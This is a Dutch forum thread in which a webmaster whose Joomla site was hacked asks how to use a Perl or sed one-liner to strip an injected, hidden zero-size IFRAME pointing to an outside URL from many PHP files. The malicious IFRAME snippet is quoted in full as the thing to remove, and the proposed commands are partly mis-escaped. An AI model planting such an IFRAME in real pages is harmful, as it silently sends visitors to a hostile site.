Perl zoek en vervang meerdere bestanden

Pagina: 1
Acties:
  • 242 views sinds 30-01-2008
  • Reageer

  • L0g0ff
  • Registratie: April 2001
  • Laatst online: 30-01 00:36
Hey,

Mijn website is gehackt. Ik vermoed dat dit komt door een bug in een joomla component die op deze website draait. Nu heb ik de oorzaak en een oplossing alleen krijg ik het commando niet uitgevoerd...

De fout is:
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>

Nu heb ik op internet het volgende commando gevonden

perl -pi -w -e 's/OLD/NEW/g;' *.php

VB: perl -pi -w -e 's/\.\.\/includes\/style\.css/admin\.css/g;' *.php

Nu snap ik alleen echt niet waar ik de backslashes "\" moet plaatsen. Ook begrijp ik niet hoe ik moet opgeven dat de string vervangen moet worden met een lege waarde. Nu kan ik wel wat aanrommelen maar ik ben zo bang dat ik mijn bestanden verampeneer }:O

Het gaat om meer dan 100 bestanden in verschillende subdirs. Kan iemand mij misschien helpen?

Blog.wapnet.nl KompassOS.nl


  • Victorius737
  • Registratie: Augustus 2005
  • Laatst online: 30-01 18:29
volgens mij kan je dit ook wel met SED doen , een linux filter ipv perl
http://www.ss64.com/bash/sed.html

*.php sed 's/\.\.\/includes\/style\.css/admin\.css/g;' > verbeterd.php

*.php sed 's/old/""/g;' > verbeterd.php veranderd old in niets

[ Voor 15% gewijzigd door Victorius737 op 08-01-2008 23:18 ]


  • L0g0ff
  • Registratie: April 2001
  • Laatst online: 30-01 00:36
Het pobleem is meer dat ik niet precies snap waar de \ \ \ \ geplaatst moeten worden.

Ik denk dat hij zo moet worden maar ik durf het niet zo goed uit te voeren omdat ik dan straks al mijn php om zeep haal.

code:
1
perl -pi -w -e 's/\<\IFRAME\ \src\=\"\http\:\/\/\usuarios\.\arnet\.\com\.\ar\/\alvarezluque\/\morgan\.\html\"\ \width\=\"\0\"\ \height\=\"\0\"\ \frameborder\=\"\0\"\>\<\/\iframe\>\/ /g;' *.php

Blog.wapnet.nl KompassOS.nl


  • blaataaps
  • Registratie: Juli 2001
  • Niet online
Dan probeer je toch uit te vinden wat het systeem achter de backslashes is, en test je het op een testbestand?

  • L0g0ff
  • Registratie: April 2001
  • Laatst online: 30-01 00:36
Het probleem is dat ik nergens goeie voorbeelden op het internet kan vinden. Daarom post ik het hier in de hoop dat iemand me daar iets over kan vertellen.

[ Voor 21% gewijzigd door L0g0ff op 09-01-2008 10:45 ]

Blog.wapnet.nl KompassOS.nl


  • u_nix_we_all
  • Registratie: Augustus 2002
  • Niet online
Dan maak je toch een backup van je bestanden (als je die al niet had) en ga je daarmee experimenteren. Als je website gehacked is, is het trouwens maar de vraag of het herstellen van je php bestanden voldoende is. Zijn er geen rootkits geinstalleerd e.d. ?

You don't need a parachute to go skydiving. You need a parachute to go skydiving twice.


  • L0g0ff
  • Registratie: April 2001
  • Laatst online: 30-01 00:36
Ik heb gelukkig een backup ik snap alleen geen bal van die \ \ \ \ structuur. Ik heb op internet gezocht en op GoT maar nergens word replace gebruikt met tekens zoals ";", "\", "<", ">" etc.

Als ik nou een degelijk voorbeeld zou kunnen vinden...

Blog.wapnet.nl KompassOS.nl


  • jpm.lensen
  • Registratie: Juni 1999
  • Laatst online: 30-01 18:30

jpm.lensen

2900Wp solar @roof

Gewoon een copy maken van het bestand, en verschillende versies van je commando uitvoeren, totdat je de holy grail gevonden hebt.
Gewoon proberen met perl/ sed zou mijn advies zijn

Phenom 9650 @ msi k9n sli-f v2/ 4096mb ddr2 ram/ SSD/ Club 3d ATi 5770/ AOC U2879VF/MacBook Pro Retina 13 i7/ pixel 7 pro/ LG OLED55C8PLA/ pioneer dv 77 home cinema/ surface pro en laptop en book 3


  • ph0t0nix
  • Registratie: December 2006
  • Laatst online: 27-01 01:06
Op de website die je als bron gebruikt voor je "perl kennis" ;-) staat dat je bepaalde tekens moet escapen omdat het om zogenaamde "Regular Expressions" gaat. Ik zou maar eens zoeken op die term, of evt. op regexp. Een hoop over te vinden.
Pagina: 1